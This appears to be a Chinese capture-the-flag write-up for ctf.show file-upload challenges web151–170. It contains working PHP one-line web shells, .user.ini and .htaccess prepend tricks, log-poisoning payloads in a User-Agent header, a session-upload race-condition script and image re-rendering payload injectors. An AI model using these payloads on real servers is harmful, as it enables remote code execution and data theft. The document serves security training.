web-文件上传【超详细讲解】

目录

    • web151-前端验证
    • web152-前端+MIME
    • web153-`.user.ini`
    • web154·155-文件内容过滤php
    • web156-过滤 php和[]
    • web157-增加过滤`{}` `;`
    • web158-同上关一样
    • web159-过滤括号
    • web160-过滤反引号和空格
    • web161-检测文件头
    • web162~163-文件竞争包含
    • web164-png图片二次渲染
    • web165-jpg二次渲染
    • web166-zip文件上传包含
    • web167-`.htaccess`
    • web169
    • web170

web151-前端验证

前端验证,抓包修改数据OK

web152-前端+MIME

直接抓包修改后缀

web153-.user.ini

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIRPHP_INI_USER 模式可以。

具体内容看这里

发现auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
使用条件:

(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式

(2)上传目录下要有可执行的php文件
payload
- 上传一张图片马
- 上传 .user.ini 内容为auto_prepend_file=‘图片马名字’
- 访问.user.ini 同级目录中的一个php文件

图片码

cmd跑命令
copy 1.png/b+ 1.txt 2.png

开始实操

图片马写入

<?php @eval($_POST[1]) ?>

然后上传

web-文件上传【超详细讲解】_第1张图片
图片马上传成功

然后上传一张正常图片 burp抓包 改设置

web-文件上传【超详细讲解】_第2张图片

auto_prepend_file=2.png

然后访问一下upload/index.php
web-文件上传【超详细讲解】_第3张图片

传参1=phpinfo();

web-文件上传【超详细讲解】_第4张图片

开始操作就可以了

1=system('ls');

去上一级目录查找

1=system('ls ../');

web-文件上传【超详细讲解】_第5张图片

1=system('cat ../flag.php');

web-文件上传【超详细讲解】_第6张图片
右键查看源代码 即可

web154·155-文件内容过滤php

经过测试

他过滤了php字符串

这里使用了短标签
对于php的标签其他写法,我们这里多说几种

1<? echo '123';?>

前提是开启配置参数short_open_tags=on

2<?=(表达式)?>  等价于 <?php echo (表达式)?>

不需要开启参数设置

3<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。

4<script language=”php”>echo '123'; </script>

不需要修改参数开关,但是只能在7.0以下可用。

对于该题,我们可用使用进行绕过

图片内容

web156-过滤 php和[]

payload 
用{
     }代替[]
eval($_POST{
     'a'});

web157-增加过滤{} ;

php 最后的语句也可以不加分号的,前提是得有 ?> 结束标志

payload
<?=system('ls ../')?>
<?=system('cat ../*')?>
访问upload/index.php

web158-同上关一样

web159-过滤括号

payload
反引号代替system()

`cat ../*`?>

web160-过滤反引号和空格

想去包含日志文件

发现log也被过滤了,尝试拼接

先上传图片内容

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后上传正常图片 改后缀.user.ini 改内容

auto_prepend_file=5.png

上传成功

web-文件上传【超详细讲解】_第7张图片
然后还需要改UA头 重新抓包 页面

User-Agent: <?php system('tac ../f*');?>

然后访问/upload 右键源代码就可以了

web161-检测文件头

正常图片上传失败 猜测检测了文件头

上传GIF89a 成功绕过

其余和160关是相同的

web162~163-文件竞争包含

看看大佬的博客

还是一样先上传.user.ini 同样检测文件头

然后上传图片 内容就是

GIF89a
<?=include"/tmp/sess_yu22x"?>

然后条件竞争 跑脚本 附上大佬的脚本 通杀

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
     
	'PHP_SESSION_UPLOAD_PROGRESS':''
}
file={
     
	'file':'yu22x'
}
cookies={
     
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

web164-png图片二次渲染

这道题 要制作 ,,制作绕过二次渲染的图片马

具体可以看这里

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
     
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./2.png');  //要修改的图片的路径
/* 木马内容

 */

?>

然后上传png二次渲染的图片

然后查看图片 post抓包 传马

web-文件上传【超详细讲解】_第8张图片
就完事了

web165-jpg二次渲染

web-文件上传【超详细讲解】_第9张图片


    /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php  In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
     
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
     
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
     
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
     
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
     
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
     
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
     
                    while((!$dis->eof())) {
     
                        if($dis->readByte() === 0xFF) {
     
                            if($dis->readByte !== 0x00) {
     
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
     
                    $outStream = $outStreamTmp;
                } else {
     
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
     
                    die('Success!');
                } else {
     
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
     
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
     
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
     
            if(isset($m[1])) {
     
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
     
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
     
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
     
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
     
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
     
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
     
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
     
            if($this->eof()) {
     
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
     
            if(strlen($this->binData) < 2) {
     
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
     
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
     
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
     
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

格式为:

php <脚本名> <图片名>

web-文件上传【超详细讲解】_第10张图片
上传图片–>查看图片–> 抓包–> 传参

web-文件上传【超详细讲解】_第11张图片
jpg的图片进行二次渲染 经常容易失败 所以多多尝试即可

web166-zip文件上传包含

web-文件上传【超详细讲解】_第12张图片
查看源代码发现只能上传zip

尝试上传zip类型的一句话马

抓到上传成功的url
在这里插入图片描述

抓包–> 传参
返回上一级目录 -->ok

web-文件上传【超详细讲解】_第13张图片

web167-.htaccess

开局喜提小提示

web-文件上传【超详细讲解】_第14张图片

查看源码 发现只允许上传jpg

web-文件上传【超详细讲解】_第15张图片

结合提示 应该就是让用.htaccess进行绕过了

web-文件上传【超详细讲解】_第16张图片
测试成功

上传带马的1.jpg文件 即可

web-文件上传【超详细讲解】_第17张图片

然后拿蚁剑连马 上来
web-文件上传【超详细讲解】_第18张图片

web169

查看源码

web-文件上传【超详细讲解】_第19张图片

那就拿zip后缀进行上传尝试

上传 抓包 修改MIME类型

在这里插入图片描述

Content-Type: image/png

然后 UA头插入一句话木马

然后上传.user.ini 包含日志

auto_prepend_file=/var/log/nginx/access.log

然后上传php文件 内容随意啦

然后靠UA头的一句话木马 连接蚁剑

web-文件上传【超详细讲解】_第20张图片

web170

在这里插入图片描述
上传zip后缀 进行尝试

抓包修改,后缀为php, MIME类型为image/png.

包含.user.ini

auto_prepend_file=/var/log/nginx/access.log

然后上传php文件 内容随意

然后修改UA头为一句话 拿蚁剑连接即可

在上一级目录里找到 flag

web-文件上传【超详细讲解】_第21张图片

你可能感兴趣的:(刷题记)